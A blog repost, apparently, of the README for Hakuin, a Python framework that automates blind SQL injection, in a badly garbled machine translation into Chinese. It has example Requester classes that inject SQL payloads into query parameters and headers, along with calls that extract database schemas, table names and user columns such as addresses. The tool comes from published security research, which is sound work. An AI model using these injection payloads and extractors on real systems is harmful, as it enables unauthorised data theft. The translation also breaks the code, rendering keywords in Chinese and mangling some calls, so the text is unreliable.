Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863538507

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

AVvXsEjAIgrgB5YFHyJlUd_mkaHTT8ryaJO_Rauz

Hakuin是盲目的SQL注入(BSQL)优化和自动化框架,它在Python 3中编写。它抽象了推理逻辑,并允许用户轻松有效地从弱点的Web应用程序中提取数据库(DB)。为了加快流程的加快,Hakuin采用了各种优化方法,包括预训练和适应性语言模型,机会猜测,并行性等等。

Hakuin曾在尊敬的学术和工业会议上介绍: -Blackhat Mea,Riyadh,2023年- 盒子里的黑客,2023年,IEEE SP SP SP SP SP SP Workshop(Woot),2023年,2023年

更多信息可以在我们的论文和幻灯片中找到。

安装

要安装Hakuin,只需运行:

PIP3安装Hakuin开发人员应在本地安装软件包,并为可编辑模式设置-E标志:

git克隆[emailProtected] :pruzko/hakuin.git

CD Hakuin

PIP3安装-e。

示例

确定BSQL漏洞后,您需要告诉Hakuin如何注入其查询。为此,请从请求者中得出一个类,然后覆盖请求方法。同样,该方法必须确定查询是否已解决为true或false。

示例1-基于状态推理的查询参数注入

导入AIOHTTP

来自Hakuin进口请求者

班级现状Requester(请求者):

异步def请求(self,ctx,查询):

r=等待aiohttp.get(f'http://vuln.com/?n=xxx'或({query}) - ')

返回r.status==200

示例2-带基于内容的推理的标头注入

类ContentRequester(请求者):

异步def请求(self,ctx,查询):

headers={'viles-header': f'xxx'或({query}) - '}

r=等待aiohttp.get(f'http://vuln.com/',headers=标题)

在等待r.text()中返回“找到”以开始提取数据,使用提取器类。它需要一个DBMS对象来构建查询和一个请求者对象才能注入它们。 Hakuin当前支持SQLITE,MySQL,PSQL(PostgreSQL)和MSSQL(SQL Server)DBMSS,但很快将包含更多选项。如果您希望支持另一个DBM,请在Hakuin/dbms/dbms.py中实现DBMS接口。

示例1-提取sqlite/mysql/psql/mssql

进口Asyncio

来自Hakuin进口提取器,请求者

来自hakuin.dbms import sqlite,mysql,psql,mssql

班级现状Requester(请求者):

.

异步def main():

#requester:使用此请求者

#DBMS:使用此DBMS

#N_TASKS:产生n任务,这些任务并行提取列行

ext=extractor(requester=statusrequester(),dbms=sqlite(),n_tasks=1)

.

如果__name__=='__ -Main __':

asyncio.get_event_loop()。run_until_complete(main())现在设置了所有内容,您可以开始提取DB元数据。

示例1-提取DB架构

#策略:

#'Binary':使用二进制搜索

#'Model':使用预训练的模型

schema_names=等待ext.extract_schema_names(策略='模型')

示例2-提取表

表=等待ext.extract.extract_tract_table_names(策略='模型')

示例3-提取列

列=等待ext.ext.ext._column_names(ext._column_names) ext.extract_meta(stragity='模型')一旦知道结构,就可以提取实际内容。

示例4-将表和列一起提取

#text_strategy:如果列是文本,请使用此策略

res=等待ext.extract_column(table='用户',column='address',text_strategy='dynamic')

示例1-提取通用列

#strategy:

#'Binary':使用二进制搜索

#“五克” :使用五克模型

#'umigram':使用Umigram模型

#'Dynamic':动态确定最佳策略。此设置

#还可以使机会主义猜测。

res=等待ext.extract_column_text(table='用户',列='地址',策略='dynamic')

示例2-提取文本列

res res=等待ext.extract.extract_column_int(table='用户',列='id' res=等待ext.extract_column_blob(table='用户',column='id')可以在测试目录中找到更多示例。

示例3-提取整数列

Hakuin配备了一个简单的包装工具HK.PY,它使您可以直接从命令行中使用Hakuin的基本功能。要了解更多,Run:

Python3 HK.PY -H

示例4-提取浮柱

该存储库是为满足安全实践者需求而积极开发的。希望重现我们论文中描述的实验的研究人员应安装冷冻版本,因为它包含原始代码,实验脚本和用于复制结果的说明手册。

示例5-提取斑点(二进制数据)列

@inproceedings {hakuin_bsqli,

title={hakuin:用概率语言模型优化盲sql注入},

作者={pru {\ v {z}} inec,jakub和nguyen,quynh anh},

BookTitle={2023 IEEE安全和隐私研讨会(SPW)},

页={384--393},

年={2023},

组织={IEEE}

}